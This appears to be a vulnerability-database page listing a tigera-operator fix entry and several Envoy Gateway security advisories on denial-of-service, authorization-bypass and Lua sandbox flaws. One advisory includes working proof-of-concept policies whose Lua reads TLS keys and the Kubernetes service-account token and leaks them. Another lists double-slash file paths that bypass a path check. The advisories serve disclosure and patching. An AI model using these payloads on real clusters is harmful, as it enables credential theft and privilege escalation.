Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package tigera-operator version 1.39.3-r1 fixes 17 vulnerabilities: CVE-2026-53713, CVE-2026-53714, CVE-2026-53715, CVE-2026-53716, CVE-2026-53717...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "tigera-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.39.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.39.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package tigera-operator version 1.39.3-r1 fixes 17 vulnerabilities: CVE-2026-53713, CVE-2026-53714, CVE-2026-53715, CVE-2026-53716, CVE-2026-53717...",
"id": "CLEANSTART-2026-YR40466",
"modified": "2026-08-14T05:56:20Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tigera/operator"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in tigera-operator 1.39.3-r1",
"upstream": [
"CVE-2026-53713",
"CVE-2026-53714",
"CVE-2026-53715",
"CVE-2026-53716",
"CVE-2026-53717",
"CVE-2026-53718",
"CVE-2026-53719",
"CVE-2026-22771",
"ghsa-wcrf-9vrr-854f",
"ghsa-22xc-xg2r-9j7v",
"ghsa-8fv2-88gg-hm7q",
"ghsa-cxpq-8v7q-cg56",
"ghsa-fcrp-7gc2-93g7",
"ghsa-h7pq-86h8-rp5x",
"ghsa-m2v6-2jmh-4c68",
"ghsa-xrwg-mqj6-6m22",
"ghsa-259r-337f-4rfw"
]
}
GHSA-8FV2-88GG-HM7Q
Vulnerability from github – Published: 2026-07-16 19:21 – Updated: 2026-07-16 19:21Vulnerability report without repro case. Repro case may be added later after harness is complete.
Preconditions (4): - Pod-network reachability to :18002 (no auth) - Tenant can create EnvoyExtensionPolicy (baseline) - Attacker pod floods GET while churning EnvoyExtensionPolicy with distinct Wasm URLs - Read at :153 must overlap a write at :201/:209 (probabilistic, attacker controls both rates)
Description:
httpserver.go:153 reads s.mappingPath2Cache with no lock while httpserver.go:201/209 write it under s.Lock(); the struct uses a plain map. Writer is tenant-reachable via EnvoyExtensionPolicy translation, reader is pod-network-reachable on :18002 with per-request goroutines. Go's concurrent map read+write detection calls runtime.throw, which net/http's per-conn recover cannot catch, so the controller process exits — cross-tenant control-plane DoS. Capped at MEDIUM: DoS-only, k8s restarts pod, timing-dependent trigger.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53715"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-16T19:21:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Vulnerability report without repro case. Repro case may be added later after harness is complete.\n\n**Preconditions (4):**\n- Pod-network reachability to :18002 (no auth)\n- Tenant can create EnvoyExtensionPolicy (baseline)\n- Attacker pod floods GET while churning EnvoyExtensionPolicy with distinct Wasm URLs\n- Read at :153 must overlap a write at :201/:209 (probabilistic, attacker controls both rates)\n\n**Description:**\n\nhttpserver.go:153 reads s.mappingPath2Cache with no lock while httpserver.go:201/209 write it under s.Lock(); the struct uses a plain map. Writer is tenant-reachable via EnvoyExtensionPolicy translation, reader is pod-network-reachable on :18002 with per-request goroutines. Go\u0027s concurrent map read+write detection calls runtime.throw, which net/http\u0027s per-conn recover cannot catch, so the controller process exits \u2014 cross-tenant control-plane DoS. Capped at MEDIUM: DoS-only, k8s restarts pod, timing-dependent trigger.",
"id": "GHSA-8fv2-88gg-hm7q",
"modified": "2026-07-16T19:21:15Z",
"published": "2026-07-16T19:21:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-8fv2-88gg-hm7q"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Envoy Gateway: Wasm cache ServeHTTP reads mappingPath2Cache without lock"
}
GHSA-CXPQ-8V7Q-CG56
Vulnerability from github – Published: 2026-07-16 19:18 – Updated: 2026-07-16 19:18Vulnerability report without repro case. Repro case may be added later after harness is complete.
Preconditions (4): - Tenant can create EnvoyExtensionPolicy (baseline) - Attacker hosts a gzip-bomb at a reachable URL - sha256 unset (optional field; check is post-decompression anyway) - No operator Wasm-URL allowlist (none exists in code)
Description
getFileFromGZ calls io.ReadAll on a raw gzip.Reader (httpfetcher.go:216) with no output bound, while the compressed input is capped at 256 MiB (httpfetcher.go:139). The bytes originate from a tenant-controlled EnvoyExtensionPolicy.spec.wasm[].code.http.url (envoyextensionpolicy.go:1077 → cache.go:248 → httpfetcher.go:147 → :233), so an untrusted tenant can point at a ~10 MiB gzip-of-zeros and force ~10 GiB allocation in the shared controller process. All candidate guards execute either before the body is buffered or after decompression. OOM-kills, restarts, re-reconciles same CR, crash-loops — persistent cross-tenant control-plane outage with PR:L/AC:L and scope change → HIGH despite availability-only.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53716"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-16T19:18:08Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Vulnerability report without repro case. Repro case may be added later after harness is complete.\n\n**Preconditions (4):**\n- Tenant can create EnvoyExtensionPolicy (baseline)\n- Attacker hosts a gzip-bomb at a reachable URL\n- sha256 unset (optional field; check is post-decompression anyway)\n- No operator Wasm-URL allowlist (none exists in code)\n\n**Description**\n\ngetFileFromGZ calls io.ReadAll on a raw gzip.Reader (httpfetcher.go:216) with no output bound, while the compressed input is capped at 256 MiB (httpfetcher.go:139). The bytes originate from a tenant-controlled EnvoyExtensionPolicy.spec.wasm[].code.http.url (envoyextensionpolicy.go:1077 \u2192 cache.go:248 \u2192 httpfetcher.go:147 \u2192 :233), so an untrusted tenant can point at a ~10 MiB gzip-of-zeros and force ~10 GiB allocation in the shared controller process. All candidate guards execute either before the body is buffered or after decompression. OOM-kills, restarts, re-reconciles same CR, crash-loops \u2014 persistent cross-tenant control-plane outage with PR:L/AC:L and scope change \u2192 HIGH despite availability-only.",
"id": "GHSA-cxpq-8v7q-cg56",
"modified": "2026-07-16T19:18:08Z",
"published": "2026-07-16T19:18:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-cxpq-8v7q-cg56"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Envoy Gateway: Wasm HTTP fetch decompresses gzip without output-size limit"
}
GHSA-FCRP-7GC2-93G7
Vulnerability from github – Published: 2026-07-16 19:14 – Updated: 2026-07-16 19:14Impact
Envoy Gateway accepts extension-managed custom backendRefs from an HTTPRoute to a backend resource in another namespace without requiring a matching Gateway API ReferenceGrant in the target namespace. This breaks the Gateway API cross-namespace consent model: the namespace that owns the referenced backend resource does not need to opt in with a ReferenceGrant before another namespace’s HTTPRoute can use that resource.
Patches
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53718"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-16T19:14:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nEnvoy Gateway accepts extension-managed custom backendRefs from an HTTPRoute to a backend resource in another namespace without requiring a matching Gateway API ReferenceGrant in the target namespace. This breaks the Gateway API cross-namespace consent model: the namespace that owns the referenced backend resource does not need to opt in with a ReferenceGrant before another namespace\u2019s HTTPRoute can use that resource.\n\n### Patches\n[1.7.4](https://github.com/envoyproxy/gateway/releases/tag/v1.7.4)\n[1.8.1](https://github.com/envoyproxy/gateway/releases/tag/v1.8.1)",
"id": "GHSA-fcrp-7gc2-93g7",
"modified": "2026-07-16T19:14:50Z",
"published": "2026-07-16T19:14:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-fcrp-7gc2-93g7"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Envoy Gateway custom backendRef cross-namespace ReferenceGrant bypass"
}
GHSA-H7PQ-86H8-RP5X
Vulnerability from github – Published: 2026-07-16 19:20 – Updated: 2026-07-16 19:20Vulnerability report without repro case. Repro case may be added later after harness is complete.
Preconditions (4): - Tenant can create EnvoyExtensionPolicy (baseline) - Controller has egress to attacker-controlled OCI registry - No registry allowlist (none exists in code) - Layer presents Docker/OCI media type
Description
At imagefetcher.go:287, make([]byte, h.Size) uses the attacker-controlled tar-header size; the LimitReader at :278 bounds bytes read from the stream but not the header-declared size returned by tr.Next() (a 512-byte header can claim a multi-TB entry via PAX/GNU encoding). Reached from untrusted tenant input via EnvoyExtensionPolicy spec.wasm[].code.image.url (envoyextensionpolicy.go:1157 → cache.go:262/299 → imagefetcher.go:218 → :287), and the allocation happens for every tar entry regardless of filename. The resulting Go runtime OOM throw is unrecoverable and, because the CRD persists, crash-loops the shared controller — single-request, non-volumetric, cluster-wide DoS.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53717"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-16T19:20:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Vulnerability report without repro case. Repro case may be added later after harness is complete.\n\n**Preconditions (4):**\n- Tenant can create EnvoyExtensionPolicy (baseline)\n- Controller has egress to attacker-controlled OCI registry\n- No registry allowlist (none exists in code)\n- Layer presents Docker/OCI media type\n\n**Description**\n\nAt imagefetcher.go:287, make([]byte, h.Size) uses the attacker-controlled tar-header size; the LimitReader at :278 bounds bytes read from the stream but not the header-declared size returned by tr.Next() (a 512-byte header can claim a multi-TB entry via PAX/GNU encoding). Reached from untrusted tenant input via EnvoyExtensionPolicy spec.wasm[].code.image.url (envoyextensionpolicy.go:1157 \u2192 cache.go:262/299 \u2192 imagefetcher.go:218 \u2192 :287), and the allocation happens for every tar entry regardless of filename. The resulting Go runtime OOM throw is unrecoverable and, because the CRD persists, crash-loops the shared controller \u2014 single-request, non-volumetric, cluster-wide DoS.",
"id": "GHSA-h7pq-86h8-rp5x",
"modified": "2026-07-16T19:20:05Z",
"published": "2026-07-16T19:20:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-h7pq-86h8-rp5x"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Envoy Gateway: OCI layer extraction allocates make([]byte, h.Size) from untrusted tar header"
}
GHSA-M2V6-2JMH-4C68
Vulnerability from github – Published: 2026-07-16 19:19 – Updated: 2026-07-16 19:19Vulnerability report without repro case. Repro case may be added later after harness is complete.
Preconditions (4): - Tenant has SecurityPolicy + TCPRoute RBAC (baseline) - Tenant namespace permitted to attach TCPRoute to a Gateway listener - spec.authorization omitted (the trigger) - No admission webhook blocks the shape
Description:
A namespace-scoped tenant can deterministically panic the gatewayapi runner on every reconcile with a single CRD; the recover() in message/watchutil.go:53 keeps the process alive but unwinds the entire handle() callback in runner/runner.go:192, so xDS/Infra IR publishing stalls controller-wide until an admin deletes the object. Data plane keeps serving last-good config.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53719"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-16T19:19:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Vulnerability report without repro case. Repro case may be added later after harness is complete.\n\n**Preconditions (4):**\n- Tenant has SecurityPolicy + TCPRoute RBAC (baseline)\n- Tenant namespace permitted to attach TCPRoute to a Gateway listener\n- spec.authorization omitted (the trigger)\n- No admission webhook blocks the shape\n\n**Description:**\n\nA namespace-scoped tenant can deterministically panic the gatewayapi runner on every reconcile with a single CRD; the recover() in message/watchutil.go:53 keeps the process alive but unwinds the entire handle() callback in runner/runner.go:192, so xDS/Infra IR publishing stalls controller-wide until an admin deletes the object. Data plane keeps serving last-good config.",
"id": "GHSA-m2v6-2jmh-4c68",
"modified": "2026-07-16T19:19:17Z",
"published": "2026-07-16T19:19:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-m2v6-2jmh-4c68"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Envoy Gateway: Nil-dereference when SecurityPolicy targets TCPRoute without spec.authorization"
}
GHSA-WCRF-9VRR-854F
Vulnerability from github – Published: 2026-07-16 19:23 – Updated: 2026-07-16 19:23Impact
The to_absolute_normalized_path function (security.lua:28-43) does not collapse redundant path separators (// → /). On Linux, //etc/passwd is equivalent to /etc/passwd (POSIX path semantics), but is_critical_path fails to match the double-slash variant because //etc/passwd does not start with /etc/.
This allows Lua code submitted as an EnvoyExtensionPolicy to read arbitrary files from the gateway controller pod's filesystem during Strict validation (the default), including:
/etc/passwd- Kubernetes SA tokens via
//var/run/secrets/kubernetes.io/serviceaccount/token - TLS certificates via
//certs/... - Process environment via
//proc/self/environ
These credentials can be used to read sensitive information from the K8s API Server or from the Gateway XDS server.
Patches
This has been patched in versions >= v1.7.4 and v1.8.1
- Collapse redundant path separators (
//to/) so double-slash variants like//etc/passwdand//var/run/secrets/...are matched by the critical-path check. - Rewrite the traversal check to reject any
.or..segment in any position and across both separator styles (catches/etc/./passwd,./etc/passwd,/etc/.).
Workarounds
Please refer to the Warning section in Lua docs for measures to reduce risk.
Credits
Envoy Gateway thanks @dashingDragon and @Donjon-Cerberus for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53713"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-16T19:23:38Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\n\nThe `to_absolute_normalized_path` function (security.lua:28-43) does not collapse redundant path separators (// \u2192 /). On Linux, `//etc/passwd` is equivalent to `/etc/passwd` (POSIX path semantics), but `is_critical_path` fails to match the double-slash variant because `//etc/passwd` does not start with `/etc/`.\n\nThis allows Lua code submitted as an `EnvoyExtensionPolicy` to read arbitrary files from the gateway controller pod\u0027s filesystem during Strict validation (the default), including:\n\n* `/etc/passwd`\n* Kubernetes SA tokens via `//var/run/secrets/kubernetes.io/serviceaccount/token`\n* TLS certificates via `//certs/...`\n* Process environment via `//proc/self/environ`\n\nThese credentials can be used to read sensitive information from the K8s API Server or from the Gateway XDS server.\n\n### Patches\n\nThis has been patched in versions \u003e= v1.7.4 and v1.8.1\n\n - Collapse redundant path separators (`//` to `/`) so double-slash variants like `//etc/passwd` and `//var/run/secrets/...` are matched by the critical-path check.\n - Rewrite the traversal check to reject any `.` or `..` segment in any position and across both separator styles (catches `/etc/./passwd`, `./etc/passwd`, `/etc/.`).\n\n### Workarounds\nPlease refer to the `Warning` section in [Lua docs](https://gateway.envoyproxy.io/v1.8/tasks/extensibility/lua/) for measures to reduce risk.\n\n### Credits\n\nEnvoy Gateway thanks @dashingDragon and @Donjon-Cerberus for reporting this issue.",
"id": "GHSA-wcrf-9vrr-854f",
"modified": "2026-07-16T19:23:38Z",
"published": "2026-07-16T19:23:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-wcrf-9vrr-854f"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Envoy Gateway: Authentication Bypass via Improper Input Validation in EnvoyExtensionPolicy Lua Allows Secret Disclosure"
}
GHSA-XRWG-MQJ6-6M22
Vulnerability from github – Published: 2026-01-13 18:47 – Updated: 2026-01-13 18:47Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:
* An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.
Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.
For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content
if cert then
content = cert:read("*all")
cert:close()
else
content = "file-not-found"
end
local keyfile = io.open("/certs/tls.key", "r")
local contentkey
if keyfile then
contentkey = keyfile:read("*all")
keyfile:close()
else
contentkey = "file-not-found"
end
local keypair = contentkey .. "\n" .. content
response_handle:body():setBytes(keypair)
response_handle:headers():replace("content-length", tostring(#keypair))
response_handle:headers():replace("content-type", "text/plain")
end
This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end
Results in:
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."
Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.
Patches
The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:
* Runs Lua Strict validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.
* Renamed Syntax to InsecureSyntax validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.
* Supports a new disableLua option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.
Workarounds
Envoy Gateway users can create Kubernetes RBAC rules (see docs) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-rc.0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/envoyproxy/gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22771"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T18:47:34Z",
"nvd_published_at": "2026-01-12T19:16:03Z",
"severity": "HIGH"
},
"details": "### Impact\nEnvoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:\n* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.\n* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. \n\nLua scripts executed by Envoy proxy can be used to leak the proxy\u0027s credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. \n\nFor example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy\u0027s XDS client certificates. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\nspec:\n targetRefs:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n name: leak\n lua:\n - type: Inline\n inline: |\n function envoy_on_response(response_handle)\n local cert = io.open(\"/certs/tls.crt\", \"r\")\n local content\n if cert then\n content = cert:read(\"*all\")\n cert:close()\n else\n content = \"file-not-found\"\n end\n local keyfile = io.open(\"/certs/tls.key\", \"r\")\n local contentkey\n if keyfile then\n contentkey = keyfile:read(\"*all\")\n keyfile:close()\n else\n contentkey = \"file-not-found\"\n end\n local keypair = contentkey .. \"\\n\" .. content\n response_handle:body():setBytes(keypair)\n response_handle:headers():replace(\"content-length\", tostring(#keypair))\n response_handle:headers():replace(\"content-type\", \"text/plain\")\n end\n```\n\nThis execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status. \n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\nspec:\n targetRefs:\n - group: gateway.networking.k8s.io\n kind: HTTPRoute\n name: backend\n lua:\n - type: Inline\n inline: |\n function envoy_on_response(response_handle)\n local token = io.open(\"/var/run/secrets/kubernetes.io/serviceaccount/token\", \"r\")\n local content\n if token then\n content = token:read(\"*all\")\n token:close()\n else\n content = \"file-not-found\"\n end\n io.write(content)\n error(content)\n end\n```\n\nResults in:\n\n```yaml\napiVersion: gateway.envoyproxy.io/v1alpha1\nkind: EnvoyExtensionPolicy\nmetadata:\n name: lua-leak\n[...]\nstatus:\n ancestors:\n - ancestorRef:\n group: gateway.networking.k8s.io\n kind: Gateway\n name: eg\n namespace: default\n conditions:\n - lastTransitionTime: \"...\"\n message: \"Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:\n failed to validate with envoy_on_response: \u003cstring\u003e:622: [REDACTED TOKEN]\\nstack\n traceback:\\n\\t[G]: in function \u0027error\u0027\\n\\t\u003cstring\u003e:622: in function \u0027envoy_on_response\u0027\\n\\t\u003cstring\u003e:625:\n in main chunk\\n\\t[G]: ?.\"\n```\n\nAttackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself. \n\n### Patches\nThe patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:\n* Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.\n* Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won\u0027t be validated for possible security gaps.\n* Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.\n\n### Workarounds\nEnvoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).",
"id": "GHSA-xrwg-mqj6-6m22",
"modified": "2026-01-13T18:47:34Z",
"published": "2026-01-13T18:47:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/envoyproxy/gateway/security/advisories/GHSA-xrwg-mqj6-6m22"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22771"
},
{
"type": "PACKAGE",
"url": "https://github.com/envoyproxy/gateway"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Envoy Extension Policy lua scripts injection causes arbitrary command execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.